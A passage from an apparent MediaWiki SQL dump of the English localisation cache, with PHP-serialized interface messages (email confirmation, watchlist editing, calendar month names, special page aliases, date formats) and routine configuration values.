confirmation code.\nThe code may have expired.\";'),('en','messages:confirmemail_needlogin','s:46:\"You need to $1 to confirm your e-mail address.\";'),('en','messages:confirmemail_success','s:100:\"Your e-mail address has been confirmed.\nYou may now [[Special:UserLogin|log in]] and enjoy the wiki.\";'),('en','messages:confirmemail_loggedin','s:43:\"Your e-mail address has now been confirmed.\";'),('en','messages:confirmemail_error','s:46:\"Something went wrong saving your confirmation.\";'),('en','messages:confirmemail_subject','s:40:\"{{SITENAME}} e-mail address confirmation\";'),('en','messages:confirmemail_body','s:400:\"Someone, probably you, from IP address $1,\nhas registered an account \"$2\" with this e-mail address on {{SITENAME}}.\n\nTo confirm that this account really does belong to you and activate\ne-mail features on {{SITENAME}}, open this link in your browser:\n\n$3\n\nIf you did *not* register the account, follow this link\nto cancel the e-mail address confirmation:\n\n$5\n\nThis confirmation code will expire at $4.\";'),('en','messages:confirmemail_invalidated','s:36:\"E-mail address confirmation canceled\";'),('en','messages:invalidateemail','s:26:\"Cancel e-mail confirmation\";'),('en','messages:scarytranscludedisabled','s:36:\"[Interwiki transcluding is disabled]\";'),('en','messages:scarytranscludefailed','s:30:\"[Template fetch failed for $1]\";'),('en','messages:scarytranscludetoolong','s:17:\"[URL is too long]\";'),('en','messages:trackbackbox','s:34:\"Trackbacks for this page:<br />\n$1\";'),('en','messages:trackback','s:16:\"; $4 $5: [$2 $1]\";'),('en','messages:trackbackexcerpt','s:37:\"; $4 $5: [$2 $1]: <nowiki>$3</nowiki>\";'),('en','messages:trackbackremove','s:13:\"([$1 Delete])\";'),('en','messages:trackbacklink','s:9:\"Trackback\";'),('en','messages:trackbackdeleteok','s:39:\"The trackback was successfully deleted.\";'),('en','messages:deletedwhileediting','s:63:\"\'\'\'Warning\'\'\': This page was deleted after you started editing!\";'),('en','messages:confirmrecreate','s:168:\"User [[User:$1|$1]] ([[User talk:$1|talk]]) deleted this page after you started editing with reason:\n: \'\'$2\'\'\nPlease confirm that you really want to recreate this page.\";'),('en','messages:recreate','s:8:\"Recreate\";'),('en','messages:unit-pixel','s:2:\"px\";'),('en','messages:confirm_purge_button','s:2:\"OK\";'),('en','messages:confirm-purge-top','s:29:\"Clear the cache of this page?\";'),('en','messages:confirm-purge-bottom','s:79:\"Purging a page clears the cache and forces the most current revision to appear.\";'),('en','messages:catseparator','s:1:\"|\";'),('en','messages:semicolon-separator','s:6:\";&#32;\";'),('en','messages:comma-separator','s:6:\",&#32;\";'),('en','messages:colon-separator','s:6:\":&#32;\";'),('en','messages:autocomment-prefix','s:6:\"-&#32;\";'),('en','messages:pipe-separator','s:11:\"&#32;|&#32;\";'),('en','messages:word-separator','s:5:\"&#32;\";'),('en','messages:ellipsis','s:3:\"...\";'),('en','messages:percent','s:3:\"$1%\";'),('en','messages:parentheses','s:4:\"($1)\";'),('en','messages:imgmultipageprev','s:17:\"← previous page\";'),('en','messages:imgmultipagenext','s:13:\"next page →\";'),('en','messages:imgmultigo','s:3:\"Go!\";'),('en','messages:imgmultigoto','s:13:\"Go to page $1\";'),('en','messages:ascending_abbrev','s:3:\"asc\";'),('en','messages:descending_abbrev','s:4:\"desc\";'),('en','messages:table_pager_next','s:9:\"Next page\";'),('en','messages:table_pager_prev','s:13:\"Previous page\";'),('en','messages:table_pager_first','s:10:\"First page\";'),('en','messages:table_pager_last','s:9:\"Last page\";'),('en','messages:table_pager_limit','s:22:\"Show $1 items per page\";'),('en','messages:table_pager_limit_submit','s:2:\"Go\";'),('en','messages:table_pager_empty','s:10:\"No results\";'),('en','messages:autosumm-blank','s:16:\"Blanked the page\";'),('en','messages:autosumm-replace','s:26:\"Replaced content with \"$1\"\";'),('en','messages:autoredircomment','s:25:\"Redirected page to [[$1]]\";'),('en','messages:autosumm-new','s:22:\"Created page with \"$1\"\";'),('en','messages:autoblock_whitelist','s:406:\"AOL http://webmaster.info.aol.com/proxyinfo.html\n*64.12.96.0/19\n*149.174.160.0/20\n*152.163.240.0/21\n*152.163.248.0/22\n*152.163.252.0/23\n*152.163.96.0/22\n*152.163.100.0/23\n*195.93.32.0/22\n*195.93.48.0/22\n*195.93.64.0/19\n*195.93.96.0/19\n*195.93.16.0/20\n*198.81.0.0/22\n*198.81.16.0/20\n*198.81.8.0/23\n*202.67.64.128/25\n*205.188.192.0/20\n*205.188.208.0/23\n*205.188.112.0/20\n*205.188.146.144/30\n*207.200.112.0/21\";'),('en','messages:size-bytes','s:4:\"$1 B\";'),('en','messages:size-kilobytes','s:5:\"$1 KB\";'),('en','messages:size-megabytes','s:5:\"$1 MB\";'),('en','messages:size-gigabytes','s:5:\"$1 GB\";'),('en','messages:livepreview-loading','s:10:\"Loading...\";'),('en','messages:livepreview-ready','s:17:\"Loading... Ready!\";'),('en','messages:livepreview-failed','s:40:\"Live preview failed!\nTry normal preview.\";'),('en','messages:livepreview-error','s:47:\"Failed to connect: $1 \"$2\".\nTry normal preview.\";'),('en','messages:lag-warn-normal','s:81:\"Changes newer than $1 {{PLURAL:$1|second|seconds}} may not be shown in this list.\";'),('en','messages:lag-warn-high','s:114:\"Due to high database server lag, changes newer than $1 {{PLURAL:$1|second|seconds}} may not be shown in this list.\";'),('en','messages:watchlistedit-numitems','s:78:\"Your watchlist contains {{PLURAL:$1|1 title|$1 titles}}, excluding talk pages.\";'),('en','messages:watchlistedit-noitems','s:34:\"Your watchlist contains no titles.\";'),('en','messages:watchlistedit-normal-title','s:14:\"Edit watchlist\";'),('en','messages:watchlistedit-normal-legend','s:28:\"Remove titles from watchlist\";'),('en','messages:watchlistedit-normal-explain','s:193:\"Titles on your watchlist are shown below.\nTo remove a title, check the box next to it, and click \"{{int:Watchlistedit-normal-submit}}\".\nYou can also [[Special:Watchlist/raw|edit the raw list]].\";'),('en','messages:watchlistedit-normal-submit','s:13:\"Remove titles\";'),('en','messages:watchlistedit-normal-done','s:69:\"{{PLURAL:$1|1 title was|$1 titles were}} removed from your watchlist:\";'),('en','messages:watchlistedit-raw-title','s:18:\"Edit raw watchlist\";'),('en','messages:watchlistedit-raw-legend','s:18:\"Edit raw watchlist\";'),('en','messages:watchlistedit-raw-explain','s:242:\"Titles on your watchlist are shown below, and can be edited by adding to and removing from the list;\none title per line.\nWhen finished, click \"{{int:Watchlistedit-raw-submit}}\".\nYou can also [[Special:Watchlist/edit|use the standard editor]].\";'),('en','messages:watchlistedit-raw-titles','s:7:\"Titles:\";'),('en','messages:watchlistedit-raw-submit','s:16:\"Update watchlist\";'),('en','messages:watchlistedit-raw-done','s:32:\"Your watchlist has been updated.\";'),('en','messages:watchlistedit-raw-added','s:47:\"{{PLURAL:$1|1 title was|$1 titles were}} added:\";'),('en','messages:watchlistedit-raw-removed','s:49:\"{{PLURAL:$1|1 title was|$1 titles were}} removed:\";'),('en','messages:watchlisttools-view','s:21:\"View relevant changes\";'),('en','messages:watchlisttools-edit','s:23:\"View and edit watchlist\";'),('en','messages:watchlisttools-raw','s:18:\"Edit raw watchlist\";'),('en','messages:iranian-calendar-m1','s:9:\"Farvardin\";'),('en','messages:iranian-calendar-m2','s:11:\"Ordibehesht\";'),('en','messages:iranian-calendar-m3','s:7:\"Khordad\";'),('en','messages:iranian-calendar-m4','s:3:\"Tir\";'),('en','messages:iranian-calendar-m5','s:6:\"Mordad\";'),('en','messages:iranian-calendar-m6','s:9:\"Shahrivar\";'),('en','messages:iranian-calendar-m7','s:4:\"Mehr\";'),('en','messages:iranian-calendar-m8','s:4:\"Aban\";'),('en','messages:iranian-calendar-m9','s:4:\"Azar\";'),('en','messages:iranian-calendar-m10','s:3:\"Dey\";'),('en','messages:iranian-calendar-m11','s:6:\"Bahman\";'),('en','messages:iranian-calendar-m12','s:6:\"Esfand\";'),('en','messages:hijri-calendar-m1','s:8:\"Muharram\";'),('en','messages:hijri-calendar-m2','s:5:\"Safar\";'),('en','messages:hijri-calendar-m3','s:14:\"Rabi\' al-awwal\";'),('en','messages:hijri-calendar-m4','s:14:\"Rabi\' al-thani\";'),('en','messages:hijri-calendar-m5','s:15:\"Jumada al-awwal\";'),('en','messages:hijri-calendar-m6','s:15:\"Jumada al-thani\";'),('en','messages:hijri-calendar-m7','s:5:\"Rajab\";'),('en','messages:hijri-calendar-m8','s:8:\"Sha\'aban\";'),('en','messages:hijri-calendar-m9','s:7:\"Ramadan\";'),('en','messages:hijri-calendar-m10','s:7:\"Shawwal\";'),('en','messages:hijri-calendar-m11','s:13:\"Dhu al-Qi\'dah\";'),('en','messages:hijri-calendar-m12','s:13:\"Dhu al-Hijjah\";'),('en','messages:hebrew-calendar-m1','s:7:\"Tishrei\";'),('en','messages:hebrew-calendar-m2','s:8:\"Cheshvan\";'),('en','messages:hebrew-calendar-m3','s:6:\"Kislev\";'),('en','messages:hebrew-calendar-m4','s:5:\"Tevet\";'),('en','messages:hebrew-calendar-m5','s:6:\"Shevat\";'),('en','messages:hebrew-calendar-m6','s:4:\"Adar\";'),('en','messages:hebrew-calendar-m6a','s:6:\"Adar I\";'),('en','messages:hebrew-calendar-m6b','s:7:\"Adar II\";'),('en','messages:hebrew-calendar-m7','s:5:\"Nisan\";'),('en','messages:hebrew-calendar-m8','s:4:\"Iyar\";'),('en','messages:hebrew-calendar-m9','s:5:\"Sivan\";'),('en','messages:hebrew-calendar-m10','s:5:\"Tamuz\";'),('en','messages:hebrew-calendar-m11','s:2:\"Av\";'),('en','messages:hebrew-calendar-m12','s:4:\"Elul\";'),('en','messages:hebrew-calendar-m1-gen','s:7:\"Tishrei\";'),('en','messages:hebrew-calendar-m2-gen','s:8:\"Cheshvan\";'),('en','messages:hebrew-calendar-m3-gen','s:6:\"Kislev\";'),('en','messages:hebrew-calendar-m4-gen','s:5:\"Tevet\";'),('en','messages:hebrew-calendar-m5-gen','s:6:\"Shevat\";'),('en','messages:hebrew-calendar-m6-gen','s:4:\"Adar\";'),('en','messages:hebrew-calendar-m6a-gen','s:6:\"Adar I\";'),('en','messages:hebrew-calendar-m6b-gen','s:7:\"Adar II\";'),('en','messages:hebrew-calendar-m7-gen','s:5:\"Nisan\";'),('en','messages:hebrew-calendar-m8-gen','s:4:\"Iyar\";'),('en','messages:hebrew-calendar-m9-gen','s:5:\"Sivan\";'),('en','messages:hebrew-calendar-m10-gen','s:5:\"Tamuz\";'),('en','messages:hebrew-calendar-m11-gen','s:2:\"Av\";'),('en','messages:hebrew-calendar-m12-gen','s:4:\"Elul\";'),('en','messages:signature','s:21:\"[[{{ns:user}}:$1|$2]]\";'),('en','messages:signature-anon','s:36:\"[[{{#special:Contributions}}/$1|$2]]\";'),('en','messages:timezone-utc','s:3:\"UTC\";'),('en','messages:unknown_extension_tag','s:26:\"Unknown extension tag \"$1\"\";'),('en','messages:duplicate-defaultsort','s:77:\"\'\'\'Warning:\'\'\' Default sort key \"$2\" overrides earlier default sort key \"$1\".\";'),('en','messages:version','s:7:\"Version\";'),('en','messages:version-extensions','s:20:\"Installed extensions\";'),('en','messages:version-specialpages','s:13:\"Special pages\";'),('en','messages:version-parserhooks','s:12:\"Parser hooks\";'),('en','messages:version-variables','s:9:\"Variables\";'),('en','messages:version-other','s:5:\"Other\";'),('en','messages:version-mediahandlers','s:14:\"Media handlers\";'),('en','messages:version-hooks','s:5:\"Hooks\";'),('en','messages:version-extension-functions','s:19:\"Extension functions\";'),('en','messages:version-parser-extensiontags','s:21:\"Parser extension tags\";'),('en','messages:version-parser-function-hooks','s:21:\"Parser function hooks\";'),('en','messages:version-skin-extension-functions','s:24:\"Skin extension functions\";'),('en','messages:version-hook-name','s:9:\"Hook name\";'),('en','messages:version-hook-subscribedby','s:13:\"Subscribed by\";'),('en','messages:version-version','s:12:\"(Version $1)\";'),('en','messages:version-svn-revision','s:5:\"(r$2)\";'),('en','messages:version-license','s:7:\"License\";'),('en','messages:version-software','s:18:\"Installed software\";'),('en','messages:version-software-product','s:7:\"Product\";'),('en','messages:version-software-version','s:7:\"Version\";'),('en','messages:filepath','s:9:\"File path\";'),('en','messages:filepath-page','s:5:\"File:\";'),('en','messages:filepath-submit','s:2:\"Go\";'),('en','messages:filepath-summary','s:217:\"This special page returns the complete path for a file.\nImages are shown in full resolution, other file types are started with their associated program directly.\n\nEnter the file name without the \"{{ns:file}}:\" prefix.\";'),('en','messages:fileduplicatesearch','s:26:\"Search for duplicate files\";'),('en','messages:fileduplicatesearch-summary','s:103:\"Search for duplicate files based on hash values.\n\nEnter the filename without the \"{{ns:file}}:\" prefix.\";'),('en','messages:fileduplicatesearch-legend','s:22:\"Search for a duplicate\";'),('en','messages:fileduplicatesearch-filename','s:9:\"Filename:\";'),('en','messages:fileduplicatesearch-submit','s:6:\"Search\";'),('en','messages:fileduplicatesearch-info','s:52:\"$1 × $2 pixel<br />File size: $3<br />MIME type: $4\";'),('en','messages:fileduplicatesearch-result-1','s:43:\"The file \"$1\" has no identical duplication.\";'),('en','messages:fileduplicatesearch-result-n','s:82:\"The file \"$1\" has {{PLURAL:$2|1 identical duplication|$2 identical duplications}}.\";'),('en','messages:specialpages','s:13:\"Special pages\";'),('en','messages:specialpages-summary','s:0:\"\";'),('en','messages:specialpages-note','s:106:\"----\n* Normal special pages.\n* <strong class=\"mw-specialpagerestricted\">Restricted special pages.</strong>\";'),('en','messages:specialpages-group-maintenance','s:19:\"Maintenance reports\";'),('en','messages:specialpages-group-other','s:19:\"Other special pages\";'),('en','messages:specialpages-group-login','s:15:\"Login / sign up\";'),('en','messages:specialpages-group-changes','s:23:\"Recent changes and logs\";'),('en','messages:specialpages-group-media','s:25:\"Media reports and uploads\";'),('en','messages:specialpages-group-users','s:16:\"Users and rights\";'),('en','messages:specialpages-group-highuse','s:14:\"High use pages\";'),('en','messages:specialpages-group-pages','s:14:\"Lists of pages\";'),('en','messages:specialpages-group-pagetools','s:10:\"Page tools\";'),('en','messages:specialpages-group-wiki','s:19:\"Wiki data and tools\";'),('en','messages:specialpages-group-redirects','s:25:\"Redirecting special pages\";'),('en','messages:specialpages-group-spam','s:10:\"Spam tools\";'),('en','messages:blankpage','s:10:\"Blank page\";'),('en','messages:intentionallyblankpage','s:38:\"This page is intentionally left blank.\";'),('en','messages:external_image_whitelist','s:440:\" #Leave this line exactly as it is<pre>\n#Put regular expression fragments (just the part that goes between the //) below\n#These will be matched with the URLs of external (hotlinked) images\n#Those that match will be displayed as images, otherwise only a link to the image will be shown\n#Lines beginning with # are treated as comments\n#This is case-insensitive\n\n#Put all regex fragments above this line. Leave this line exactly as it is</pre>\";'),('en','messages:tags','s:17:\"Valid change tags\";'),('en','messages:tag-filter','s:28:\"[[Special:Tags|Tag]] filter:\";'),('en','messages:tag-filter-submit','s:6:\"Filter\";'),('en','messages:tags-title','s:4:\"Tags\";'),('en','messages:tags-intro','s:84:\"This page lists the tags that the software may mark an edit with, and their meaning.\";'),('en','messages:tags-tag','s:8:\"Tag name\";'),('en','messages:tags-display-header','s:26:\"Appearance on change lists\";'),('en','messages:tags-description-header','s:27:\"Full description of meaning\";'),('en','messages:tags-hitcount-header','s:14:\"Tagged changes\";'),('en','messages:tags-edit','s:4:\"edit\";'),('en','messages:tags-hitcount','s:31:\"$1 {{PLURAL:$1|change|changes}}\";'),('en','messages:dberr-header','s:23:\"This wiki has a problem\";'),('en','messages:dberr-problems','s:56:\"Sorry!\nThis site is experiencing technical difficulties.\";'),('en','messages:dberr-again','s:40:\"Try waiting a few minutes and reloading.\";'),('en','messages:dberr-info','s:40:\"(Cannot contact the database server: $1)\";'),('en','messages:dberr-usegoogle','s:49:\"You can try searching via Google in the meantime.\";'),('en','messages:dberr-outofdate','s:58:\"Note that their indexes of our content may be out of date.\";'),('en','messages:dberr-cachederror','s:71:\"This is a cached copy of the requested page, and may not be up to date.\";'),('en','messages:htmlform-invalid-input','s:42:\"There are problems with some of your input\";'),('en','messages:htmlform-select-badoption','s:46:\"The value you specified is not a valid option.\";'),('en','messages:htmlform-int-invalid','s:42:\"The value you specified is not an integer.\";'),('en','messages:htmlform-float-invalid','s:40:\"The value you specified is not a number.\";'),('en','messages:htmlform-int-toolow','s:50:\"The value you specified is below the minimum of $1\";'),('en','messages:htmlform-int-toohigh','s:50:\"The value you specified is above the maximum of $1\";'),('en','messages:htmlform-submit','s:6:\"Submit\";'),('en','messages:htmlform-reset','s:12:\"Undo changes\";'),('en','messages:htmlform-selectorother-other','s:5:\"Other\";'),('en','rtl','b:0;'),('en','capitalizeAllNouns','b:0;'),('en','digitTransformTable','N;'),('en','separatorTransformTable','N;'),('en','fallback8bitEncoding','s:12:\"windows-1252\";'),('en','linkPrefixExtension','b:0;'),('en','defaultUserOptionOverrides','a:0:{}'),('en','linkTrail','s:18:\"/^([a-z]+)(.*)$/sD\";'),('en','namespaceAliases','a:0:{}'),('en','dateFormats','a:12:{s:8:\"mdy time\";s:3:\"H:i\";s:8:\"mdy date\";s:6:\"F j, Y\";s:8:\"mdy both\";s:11:\"H:i, F j, Y\";s:8:\"dmy time\";s:3:\"H:i\";s:8:\"dmy date\";s:5:\"j F Y\";s:8:\"dmy both\";s:10:\"H:i, j F Y\";s:8:\"ymd time\";s:3:\"H:i\";s:8:\"ymd date\";s:5:\"Y F j\";s:8:\"ymd both\";s:10:\"H:i, Y F j\";s:13:\"ISO 8601 time\";s:11:\"xnH:xni:xns\";s:13:\"ISO 8601 date\";s:11:\"xnY-xnm-xnd\";s:13:\"ISO 8601 both\";s:25:\"xnY-xnm-xnd\"T\"xnH:xni:xns\";}'),('en','datePreferences','a:5:{i:0;s:7:\"default\";i:1;s:3:\"mdy\";i:2;s:3:\"dmy\";i:3;s:3:\"ymd\";i:4;s:8:\"ISO 8601\";}'),('en','datePreferenceMigrationMap','a:4:{i:0;s:7:\"default\";i:1;s:3:\"mdy\";i:2;s:3:\"dmy\";i:3;s:3:\"ymd\";}'),('en','defaultDateFormat','s:10:\"dmy or mdy\";'),('en','extraUserToggles','a:0:{}'),('en','specialPageAliases','a:88:{s:15:\"DoubleRedirects\";a:1:{i:0;s:15:\"DoubleRedirects\";}s:15:\"BrokenRedirects\";a:1:{i:0;s:15:\"BrokenRedirects\";}s:15:\"Disambiguations\";a:1:{i:0;s:15:\"Disambiguations\";}s:9:\"Userlogin\";a:1:{i:0;s:9:\"UserLogin\";}s:10:\"Userlogout\";a:1:{i:0;s:10:\"UserLogout\";}s:13:\"CreateAccount\";a:1:{i:0;s:13:\"CreateAccount\";}s:11:\"Preferences\";a:1:{i:0;s:11:\"Preferences\";}s:9:\"Watchlist\";a:1:{i:0;s:9:\"Watchlist\";}s:13:\"Recentchanges\";a:1:{i:0;s:13:\"RecentChanges\";}s:6:\"Upload\";a:1:{i:0;s:6:\"Upload\";}s:9:\"Listfiles\";a:3:{i:0;s:9:\"ListFiles\";i:1;s:8:\"FileList\";i:2;s:9:\"ImageList\";}s:9:\"Newimages\";a:2:{i:0;s:8:\"NewFiles\";i:1;s:9:\"NewImages\";}s:9:\"Listusers\";a:2:{i:0;s:9:\"ListUsers\";i:1;s:8:\"UserList\";}s:15:\"Listgrouprights\";a:2:{i:0;s:15:\"ListGroupRights\";i:1;s:15:\"UserGroupRights\";}s:10:\"Statistics\";a:1:{i:0;s:10:\"Statistics\";}s:10:\"Randompage\";a:2:{i:0;s:6:\"Random\";i:1;s:10:\"RandomPage\";}s:11:\"Lonelypages\";a:2:{i:0;s:11:\"LonelyPages\";i:1;s:13:\"OrphanedPages\";}s:18:\"Uncategorizedpages\";a:1:{i:0;s:18:\"UncategorizedPages\";}s:23:\"Uncategorizedcategories\";a:1:{i:0;s:23:\"UncategorizedCategories\";}s:19:\"Uncategorizedimages\";a:2:{i:0;s:18:\"UncategorizedFiles\";i:1;s:19:\"UncategorizedImages\";}s:22:\"Uncategorizedtemplates\";a:1:{i:0;s:22:\"UncategorizedTemplates\";}s:16:\"Unusedcategories\";a:1:{i:0;s:16:\"UnusedCategories\";}s:12:\"Unusedimages\";a:2:{i:0;s:11:\"UnusedFiles\";i:1;s:12:\"UnusedImages\";}s:11:\"Wantedpages\";a:2:{i:0;s:11:\"WantedPages\";i:1;s:11:\"BrokenLinks\";}s:16:\"Wantedcategories\";a:1:{i:0;s:16:\"WantedCategories\";}s:11:\"Wantedfiles\";a:1:{i:0;s:11:\"WantedFiles\";}s:15:\"Wantedtemplates\";a:1:{i:0;s:15:\"WantedTemplates\";}s:10:\"Mostlinked\";a:2:{i:0;s:15:\"MostLinkedPages\";i:1;s:10:\"MostLinked\";}s:20:\"Mostlinkedcategories\";a:2:{i:0;s:20:\"MostLinkedCategories\";i:1;s:18:\"MostUsedCategories\";}s:19:\"Mostlinkedtemplates\";a:2:{i:0;s:19:\"MostLinkedTemplates\";i:1;s:17:\"MostUsedTemplates\";}s:10:\"Mostimages\";a:3:{i:0;s:15:\"MostLinkedFiles\";i:1;s:9:\"MostFiles\";i:2;s:10:\"MostImages\";}s:14:\"Mostcategories\";a:1:{i:0;s:14:\"MostCategories\";}s:13:\"Mostrevisions\";a:1:{i:0;s:13:\"MostRevisions\";}s:15:\"Fewestrevisions\";a:1:{i:0;s:15:\"FewestRevisions\";}s:10:\"Shortpages\";a:1:{i:0;s:10:\"ShortPages\";}s:9:\"Longpages\";a:1:{i:0;s:9:\"LongPages\";}s:8:\"Newpages\";a:1:{i:0;s:8:\"NewPages\";}s:12:\"Ancientpages\";a:1:{i:0;s:12:\"AncientPages\";}s:12:\"Deadendpages\";a:1:{i:0;s:12:\"DeadendPages\";}s:14:\"Protectedpages\";a:1:{i:0;s:14:\"ProtectedPages\";}s:15:\"Protectedtitles\";a:1:{i:0;s:15:\"ProtectedTitles\";}s:8:\"Allpages\";a:1:{i:0;s:8:\"AllPages\";}s:11:\"Prefixindex\";a:1:{i:0;s:11:\"PrefixIndex\";}s:11:\"Ipblocklist\";a:3:{i:0;s:9:\"BlockList\";i:1;s:10:\"ListBlocks\";i:2;s:11:\"IPBlockList\";}s:12:\"Specialpages\";a:1:{i:0;s:12:\"SpecialPages\";}s:13:\"Contributions\";a:1:{i:0;s:13:\"Contributions\";}s:9:\"Emailuser\";a:1:{i:0;s:9:\"EmailUser\";}s:12:\"Confirmemail\";a:1:{i:0;s:12:\"ConfirmEmail\";}s:13:\"Whatlinkshere\";a:1:{i:0;s:13:\"WhatLinksHere\";}s:19:\"Recentchangeslinked\";a:2:{i:0;s:19:\"RecentChangesLinked\";i:1;s:14:\"RelatedChanges\";}s:8:\"Movepage\";a:1:{i:0;s:8:\"MovePage\";}s:7:\"Blockme\";a:1:{i:0;s:7:\"BlockMe\";}s:11:\"Booksources\";a:1:{i:0;s:11:\"BookSources\";}s:10:\"Categories\";a:1:{i:0;s:10:\"Categories\";}s:6:\"Export\";a:1:{i:0;s:6:\"Export\";}s:7:\"Version\";a:1:{i:0;s:7:\"Version\";}s:11:\"Allmessages\";a:1:{i:0;s:11:\"AllMessages\";}s:3:\"Log\";a:2:{i:0;s:3:\"Log\";i:1;s:4:\"Logs\";}s:7:\"Blockip\";a:3:{i:0;s:5:\"Block\";i:1;s:7:\"BlockIP\";i:2;s:9:\"BlockUser\";}s:8:\"Undelete\";a:1:{i:0;s:8:\"Undelete\";}s:6:\"Import\";a:1:{i:0;s:6:\"Import\";}s:6:\"Lockdb\";a:1:{i:0;s:6:\"LockDB\";}s:8:\"Unlockdb\";a:1:{i:0;s:8:\"UnlockDB\";}s:10:\"Userrights\";a:3:{i:0;s:10:\"UserRights\";i:1;s:9:\"MakeSysop\";i:2;s:7:\"MakeBot\";}s:10:\"MIMEsearch\";a:1:{i:0;s:10:\"MIMESearch\";}s:19:\"FileDuplicateSearch\";a:1:{i:0;s:19:\"FileDuplicateSearch\";}s:14:\"Unwatchedpages\";a:1:{i:0;s:14:\"UnwatchedPages\";}s:13:\"Listredirects\";a:1:{i:0;s:13:\"ListRedirects\";}s:14:\"Revisiondelete\";a:1:{i:0;s:14:\"RevisionDelete\";}s:15:\"Unusedtemplates\";a:1:{i:0;s:15:\"UnusedTemplates\";}s:14:\"Randomredirect\";a:1:{i:0;s:14:\"RandomRedirect\";}s:6:\"Mypage\";a:1:{i:0;s:6:\"MyPage\";}s:6:\"Mytalk\";a:1:{i:0;s:6:\"MyTalk\";}s:15:\"Mycontributions\";a:1:{i:0;s:15:\"MyContributions\";}s:10:\"Listadmins\";a:1:{i:0;s:10:\"ListAdmins\";}s:8:\"Listbots\";a:1:{i:0;s:8:\"ListBots\";}s:12:\"Popularpages\";a:1:{i:0;s:12:\"PopularPages\";}s:6:\"Search\";a:1:{i:0;s:6:\"Search\";}s:9:\"Resetpass\";a:3:{i:0;s:14:\"ChangePassword\";i:1;s:9:\"ResetPass\";i:2;s:13:\"ResetPassword\";}s:16:\"Withoutinterwiki\";a:1:{i:0;s:16:\"WithoutInterwiki\";}s:12:\"MergeHistory\";a:1:{i:0;s:12:\"MergeHistory\";}s:8:\"Filepath\";a:1:{i:0;s:8:\"FilePath\";}s:15:\"Invalidateemail\";a:1:{i:0;s:15:\"InvalidateEmail\";}s:9:\"Blankpage\";a:1:{i:0;s:9:\"BlankPage\";}s:10:\"LinkSearch\";a:1:{i:0;s:10:\"LinkSearch\";}s:20:\"DeletedContributions\";a:1:{i:0;s:20:\"DeletedContributions\";}s:4:\"Tags\";a:1:{i:0;s:4:\"Tags\";}s:11:\"Activeusers\";a:1:{i:0;s:11:\"ActiveUsers\";}}'),('en','imageFiles','a:11:{s:11:\"button-bold\";s:15:\"button_bold.png\";s:13:\"button-italic\";s:17:\"button_italic.png\";s:11:\"button-link\";s:15:\"button_link.png\";s:14:\"button-extlink\";s:18:\"button_extlink.png\";s:15:\"button-headline\";s:19:\"button_headline.png\";s:12:\"button-image\";s:16:\"button_image.png\";s:12:\"button-media\";s:16:\"button_media.png\";s:11:\"button-math\";s:15:\"button_math.png\";s:13:\"button-nowiki\";s:17:\"button_nowiki.png\";s:10:\"button-sig\";s:14:\"button_sig.png\";s:9:\"button-hr\";s:13:\"button_hr.png\";}'),('en','preloadedMessages','a:96:{i:0;s:9:\"aboutpage\";i:1;s:9:\"aboutsite\";i:2;s:17:\"accesskey-ca-edit\";i:3;s:20:\"accesskey-ca-history\";i:4;s:23:\"accesskey-ca-nstab-main\";i:5;s:17:\"accesskey-ca-talk\";i:6;s:25:\"accesskey-n-currentevents\";i:7;s:16:\"accesskey-n-help\";i:8;s:32:\"accesskey-n-mainpage-description\";i:9;s:18:\"accesskey-n-portal\";i:10;s:22:\"accesskey-n-randompage\";i:11;s:25:\"accesskey-n-recentchanges\";i:12;s:23:\"accesskey-n-sitesupport\";i:13;s:16:\"accesskey-p-logo\";i:14;s:18:\"accesskey-pt-login\";i:15;s:16:\"accesskey-search\";i:16;s:25:\"accesskey-search-fulltext\";i:17;s:19:\"accesskey-search-go\";i:18;s:21:\"accesskey-t-permalink\";i:19;s:17:\"accesskey-t-print\";i:20;s:31:\"accesskey-t-recentchangeslinked\";i:21;s:24:\"accesskey-t-specialpages\";i:22;s:25:\"accesskey-t-whatlinkshere\";i:23;s:10:\"anonnotice\";i:24;s:12:\"catseparator\";i:25;s:15:\"colon-separator\";i:26;s:13:\"currentevents\";i:27;s:17:\"currentevents-url\";i:28;s:14:\"disclaimerpage\";i:29;s:11:\"disclaimers\";i:30;s:4:\"edit\";i:31;s:4:\"help\";i:32;s:8:\"helppage\";i:33;s:13:\"history_short\";i:34;s:6:\"jumpto\";i:35;s:16:\"jumptonavigation\";i:36;s:12:\"jumptosearch\";i:37;s:14:\"lastmodifiedat\";i:38;s:8:\"mainpage\";i:39;s:20:\"mainpage-description\";i:40;s:23:\"nav-login-createaccount\";i:41;s:10:\"navigation\";i:42;s:10:\"nstab-main\";i:43;s:15:\"opensearch-desc\";i:44;s:14:\"pagecategories\";i:45;s:18:\"pagecategorieslink\";i:46;s:9:\"pagetitle\";i:47;s:23:\"pagetitle-view-mainpage\";i:48;s:9:\"permalink\";i:49;s:13:\"personaltools\";i:50;s:6:\"portal\";i:51;s:10:\"portal-url\";i:52;s:16:\"printableversion\";i:53;s:7:\"privacy\";i:54;s:11:\"privacypage\";i:55;s:10:\"randompage\";i:56;s:14:\"randompage-url\";i:57;s:13:\"recentchanges\";i:58;s:17:\"recentchanges-url\";i:59;s:27:\"recentchangeslinked-toolbox\";i:60;s:13:\"retrievedfrom\";i:61;s:6:\"search\";i:62;s:13:\"searcharticle\";i:63;s:12:\"searchbutton\";i:64;s:7:\"sidebar\";i:65;s:14:\"site-atom-feed\";i:66;s:13:\"site-rss-feed\";i:67;s:10:\"sitenotice\";i:68;s:12:\"specialpages\";i:69;s:7:\"tagline\";i:70;s:4:\"talk\";i:71;s:7:\"toolbox\";i:72;s:15:\"tooltip-ca-edit\";i:73;s:18:\"tooltip-ca-history\";i:74;s:21:\"tooltip-ca-nstab-main\";i:75;s:15:\"tooltip-ca-talk\";i:76;s:23:\"tooltip-n-currentevents\";i:77;s:14:\"tooltip-n-help\";i:78;s:30:\"tooltip-n-mainpage-description\";i:79;s:16:\"tooltip-n-portal\";i:80;s:20:\"tooltip-n-randompage\";i:81;s:23:\"tooltip-n-recentchanges\";i:82;s:21:\"tooltip-n-sitesupport\";i:83;s:14:\"tooltip-p-logo\";i:84;s:20:\"tooltip-p-navigation\";i:85;s:16:\"tooltip-pt-login\";i:86;s:14:\"tooltip-search\";i:87;s:23:\"tooltip-search-fulltext\";i:88;s:17:\"tooltip-search-go\";i:89;s:19:\"tooltip-t-permalink\";i:90;s:15:\"tooltip-t-print\";i:91;s:29:\"tooltip-t-recentchangeslinked\";i:92;s:22:\"tooltip-t-specialpages\";i:93;s:23:\"tooltip-t-whatlinkshere\";i:94;s:5:\"views\";i:95;s:13:\"whatlinkshere\";}'),('en','fallbackSequence','a:0:{}'),('en','deps','a:5:{i:0;O:14:\"FileDependency\":2:{s:8:\"filename\";s